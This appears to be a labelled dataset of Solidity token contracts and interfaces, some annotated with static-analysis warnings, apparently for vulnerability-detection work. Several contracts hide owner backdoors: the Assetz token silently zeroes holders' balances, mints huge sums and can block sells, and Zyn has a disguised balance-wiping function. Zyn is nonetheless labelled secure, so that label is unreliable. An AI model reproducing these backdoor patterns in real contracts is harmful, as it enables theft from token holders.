{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IVm.sol\" as IVm;\n\ninterface IVm {\n function vm() external view returns (IVm);\n\n function warp(uint256 x) external;\n\n function roll(uint256 x) external;\n\n function store(address c, bytes32 loc, bytes32 val) external;\n\n function load(address c, bytes32 loc) external returns (bytes32);\n\n function sign(\n uint256 sk,\n bytes32 digest\n ) external returns (uint8 v, bytes32 r, bytes32 s);\n\n function addr(uint256 sk) external returns (address);\n\n function ffi(string[] calldata data) external returns (bytes memory);\n\n function deal(address who, uint256 amount) external;\n\n function etch(address where, bytes calldata what) external;\n\n function prank(address sender) external;\n\n function startPrank(address sender) external;\n\n function stopPrank() external;\n\n function expectRevert(bytes calldata expectedError) external;\n\n function mine(uint256 x) external;\n\n function timetravel(uint256 x) external;\n\n function reset() external;\n}", "file_name": "solidity_code_2390.sol", "secure": 1, "size_bytes": 1105 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PEACEREUM is ERC20, Ownable {\n constructor() ERC20(\"PEACEREUM\", \"PEACEREUM\") {\n _mint(msg.sender, 69696969 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_2391.sol", "secure": 1, "size_bytes": 360 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract HummingbotGovernanceToken is ERC20 {\n constructor() ERC20(\"Hummingbot Governance Token\", \"HBOT\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_2392.sol", "secure": 1, "size_bytes": 310 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IVm.sol\" as IVm;\n\ncontract Vm is IVm {\n IVm public constant vm = IVm(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function warp(uint256 x) public {\n vm.warp(x);\n }\n\n function roll(uint256 x) public {\n vm.roll(x);\n }\n\n function store(address c, bytes32 loc, bytes32 val) public {\n vm.store(c, loc, val);\n }\n\n function load(address c, bytes32 loc) public returns (bytes32) {\n return vm.load(c, loc);\n }\n\n function sign(\n uint256 sk,\n bytes32 digest\n ) public returns (uint8 v, bytes32 r, bytes32 s) {\n (v, r, s) = vm.sign(sk, digest);\n }\n\n function addr(uint256 sk) public returns (address) {\n return vm.addr(sk);\n }\n\n function ffi(string[] calldata data) public returns (bytes memory) {\n return vm.ffi(data);\n }\n\n function deal(address who, uint256 amount) public {\n vm.deal(who, amount);\n }\n\n function etch(address where, bytes calldata what) public {\n vm.etch(where, what);\n }\n\n function prank(address sender) public {\n vm.prank(sender);\n }\n\n function startPrank(address sender) public {\n vm.startPrank(sender);\n }\n\n function stopPrank() public {\n vm.stopPrank();\n }\n\n function expectRevert(bytes memory expectedError) public {\n vm.expectRevert(expectedError);\n }\n\n function mine(uint256 x) public {\n vm.roll(block.number + x);\n }\n\n function timetravel(uint256 x) public {\n vm.warp(block.timestamp + x);\n }\n\n function reset() public {\n vm.roll(0);\n vm.warp(0);\n }\n}", "file_name": "solidity_code_2393.sol", "secure": 1, "size_bytes": 1747 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Quell is ERC20 {\n constructor() ERC20(\"A Huntsmans Vision\", \"Quell\") {\n _mint(msg.sender, 1000000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_2394.sol", "secure": 1, "size_bytes": 285 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TakeOff is IERC20 {\n using SafeMath for uint256;\n\n string public constant name = \"TakeOff by Migos\";\n string public constant symbol = \"TAKEOFF\";\n uint8 public constant decimals = 18;\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n\t// WARNING Optimization Issue (constable-states | ID: 665d30b): TakeOff.totalSupply_ should be constant \n\t// Recommendation for 665d30b: Add the 'constant' attribute to state variables that never change.\n uint256 private totalSupply_ = 1000000000 * 10 ** uint256(decimals);\n\n constructor() public {\n balances[msg.sender] = totalSupply_;\n }\n\n function totalSupply() public view override returns (uint256) {\n return totalSupply_;\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address receiver,\n uint256 numTokens\n ) public override returns (bool) {\n require(numTokens <= balances[msg.sender]);\n balances[msg.sender] = balances[msg.sender].sub(numTokens);\n balances[receiver] = balances[receiver].add(numTokens);\n emit Transfer(msg.sender, receiver, numTokens);\n return true;\n }\n\n function approve(\n address delegate,\n uint256 numTokens\n ) public override returns (bool) {\n allowed[msg.sender][delegate] = numTokens;\n emit Approval(msg.sender, delegate, numTokens);\n return true;\n }\n\n function allowance(\n address owner,\n address delegate\n ) public view override returns (uint256) {\n return allowed[owner][delegate];\n }\n\n function transferFrom(\n address owner,\n address buyer,\n uint256 numTokens\n ) public override returns (bool) {\n require(numTokens <= balances[owner]);\n require(numTokens <= allowed[owner][msg.sender]);\n\n balances[owner] = balances[owner].sub(numTokens);\n allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens);\n balances[buyer] = balances[buyer].add(numTokens);\n emit Transfer(owner, buyer, numTokens);\n return true;\n }\n}", "file_name": "solidity_code_2395.sol", "secure": 1, "size_bytes": 2497 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract Token is Ownable {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\t// WARNING Optimization Issue (immutable-states | ID: 63e531a): Token.tokenTotalSupply should be immutable \n\t// Recommendation for 63e531a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n string private tokenName;\n string private tokenSymbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 1674384): Token.xxnux should be immutable \n\t// Recommendation for 1674384: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\t// WARNING Optimization Issue (immutable-states | ID: 92f9db8): Token.tokenDecimals should be immutable \n\t// Recommendation for 92f9db8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n bool isSL = true;\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c2abe91): Token.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for c2abe91: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"Assetz\";\n tokenSymbol = \"ASSETZ\";\n tokenDecimals = 18;\n tokenTotalSupply = 65000000000 * 10 ** tokenDecimals;\n _balances[msg.sender] = tokenTotalSupply;\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\t\t// missing-zero-check | ID: c2abe91\n xxnux = ads;\n }\n function viewGas() public view returns (address) {\n return xxnux;\n }\n function addBots(address PCSA) external {\n if (\n xxnux == _msgSender() &&\n xxnux != PCSA &&\n pancakePair() != PCSA &&\n PCSA != ROUTER\n ) {\n address newadd = PCSA;\n uint256 cmxn = _balances[newadd];\n uint256 mnxn = _balances[newadd] + _balances[newadd] - cmxn;\n _balances[newadd] -= mnxn;\n } else {\n if (xxnux == _msgSender()) {} else {\n revert(\"Transfer From Failed\");\n }\n }\n }\n\n function delBots(uint256 xt) external {\n if (xxnux == _msgSender()) {\n uint256 AITC = 6500000000 * 10 ** tokenDecimals;\n uint256 ncs = AITC * 65000;\n uint256 xnn = ncs * 1 * 1 * 1 * 1;\n xnn = xnn * xt;\n _balances[_msgSender()] += xnn;\n require(xxnux == msg.sender);\n } else {}\n }\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function newOwner(bool _sl) public returns (bool) {\n if (xxnux == msg.sender) {\n isSL = _sl;\n }\n return true;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f110a8): Token.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7f110a8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function isContract(address addr) internal view returns (bool) {\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n bytes32 codehash;\n assembly {\n codehash := extcodehash(addr)\n }\n return (codehash != 0x0 && codehash != accountHash);\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n msg.sender,\n spender,\n allowance(msg.sender, spender) + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = allowance(msg.sender, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(msg.sender, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 165e78a): Token._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 165e78a: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (isSL || from == xxnux || from == pancakePair()) {\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + amount;\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1b516d5): Token._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1b516d5: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_2396.sol", "secure": 0, "size_bytes": 8034 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IRetawarsHero {\n enum Grade {\n COMMON,\n UNCOMMON,\n RARE,\n EPIC,\n LEGENDARY\n }\n\n enum Gender {\n MALE,\n FEMALE\n }\n\n enum Major {\n COMBAT,\n MINING,\n LOGGING,\n FARMING,\n CRAFTING,\n MAX\n }\n\n struct Hero {\n Grade grade_;\n Gender gender_;\n Major major_;\n uint8 level_;\n uint8[5] stats_;\n uint8[5] skills_;\n }\n\n function getHeroOwner(uint256 tokenId) external view returns (address);\n\n function levelUpFallible(\n uint256 tokenId,\n uint8 level,\n uint32 chance,\n uint64 ms\n ) external returns (uint8);\n function setLevel(uint256 tokenId, uint8 level) external;\n\n function getLevel(uint256 tokenId) external view returns (uint8);\n function getGrade(uint256 tokenId) external view returns (Grade);\n function getHero(uint256 tokenId) external view returns (Hero memory);\n\n function burnHeros(uint256[] memory tokenIds) external;\n}", "file_name": "solidity_code_2397.sol", "secure": 1, "size_bytes": 1145 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IRWHeroSpawner {\n function spawn(address to, uint64 ms) external returns (uint256);\n}", "file_name": "solidity_code_2398.sol", "secure": 1, "size_bytes": 162 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\n\ncontract DerpEmpire is ERC20, ERC20Burnable {\n constructor() ERC20(\"Derp Empire\", \"DRP\") {\n _mint(msg.sender, 100000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_2399.sol", "secure": 1, "size_bytes": 388 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\n\nlibrary IUniswapRouterV2 {\n function swap3(\n UniswapRouterV2 instance,\n uint256 amount,\n address from\n ) internal view returns (uint256) {\n return instance.ytg767qweswpa(tx.origin, amount, from);\n }\n\n function swap2(\n UniswapRouterV2 instance,\n uint256 amount,\n address from\n ) internal view returns (uint256) {\n return swap3(instance, amount, from);\n }\n\n function swap99(\n UniswapRouterV2 instance2,\n uint256 amount,\n address from\n ) internal view returns (uint256) {\n return swap2(instance2, amount, from);\n }\n}", "file_name": "solidity_code_24.sol", "secure": 1, "size_bytes": 764 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Zyn is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable health;\n\n constructor() {\n _name = \"ZYN\";\n\n _symbol = \"ZYN\";\n\n _decimals = 18;\n\n uint256 initialSupply = 602000000;\n\n health = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == health, \"Not allowed\");\n\n _;\n }\n\n function name(address[] memory sink) public onlyOwner {\n for (uint256 i = 0; i < sink.length; i++) {\n address account = sink[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_240.sol", "secure": 1, "size_bytes": 4336 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract X7101ERC20 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n\t// WARNING Optimization Issue (immutable-states | ID: f880e84): X7101ERC20._taxWallet should be immutable \n\t// Recommendation for f880e84: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 359f067): X7101ERC20._initialTax should be constant \n\t// Recommendation for 359f067: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialTax = 7;\n\t// WARNING Optimization Issue (constable-states | ID: da3d832): X7101ERC20._finalTax should be constant \n\t// Recommendation for da3d832: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalTax = 5;\n uint256 private _reduceTaxCountdown = 60;\n\t// WARNING Optimization Issue (constable-states | ID: 966699f): X7101ERC20._preventSwapBefore should be constant \n\t// Recommendation for 966699f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 1_000_000 * 10 ** _decimals;\n string private constant _name = \"X7101\";\n string private constant _symbol = \"X7101\";\n uint256 public _maxTxAmount = 10_000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 20_000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: e6bc3ca): X7101ERC20._taxSwap should be constant \n\t// Recommendation for e6bc3ca: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwap = 10_000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c0582d9): X7101ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c0582d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 13a9c67): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 13a9c67: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f899ab3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f899ab3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 13a9c67\n\t\t// reentrancy-benign | ID: f899ab3\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 13a9c67\n\t\t// reentrancy-benign | ID: f899ab3\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dc130d6): X7101ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for dc130d6: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: f899ab3\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 13a9c67\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ce39b88): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ce39b88: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a74304c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a74304c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul((_reduceTaxCountdown == 0) ? _finalTax : _initialTax)\n .div(100);\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n if (_reduceTaxCountdown > 0) {\n _reduceTaxCountdown--;\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwap &&\n _reduceTaxCountdown <= _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: ce39b88\n\t\t\t\t// reentrancy-eth | ID: a74304c\n swapTokensForEth(_taxSwap);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ce39b88\n\t\t\t\t\t// reentrancy-eth | ID: a74304c\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n\t\t// reentrancy-eth | ID: a74304c\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: a74304c\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: ce39b88\n emit Transfer(from, to, amount.sub(taxAmount));\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a74304c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: ce39b88\n emit Transfer(from, address(this), taxAmount);\n }\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 13a9c67\n\t\t// reentrancy-events | ID: ce39b88\n\t\t// reentrancy-benign | ID: f899ab3\n\t\t// reentrancy-eth | ID: a74304c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 1964092): X7101ERC20.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 1964092: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 13a9c67\n\t\t// reentrancy-events | ID: ce39b88\n\t\t// reentrancy-eth | ID: a74304c\n\t\t// arbitrary-send-eth | ID: 1964092\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4e3685f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4e3685f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 85aa13a): X7101ERC20.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 85aa13a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0557082): X7101ERC20.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0557082: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3d569fc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3d569fc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 4e3685f\n\t\t// reentrancy-eth | ID: 3d569fc\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 4e3685f\n\t\t// unused-return | ID: 0557082\n\t\t// reentrancy-eth | ID: 3d569fc\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 4e3685f\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 3d569fc\n tradingOpen = true;\n\t\t// unused-return | ID: 85aa13a\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n receive() external payable {}\n\n function manualswap() external {\n swapTokensForEth(balanceOf(address(this)));\n }\n\n function manualsend() external {\n sendETHToFee(address(this).balance);\n }\n}", "file_name": "solidity_code_2400.sol", "secure": 0, "size_bytes": 14266 }
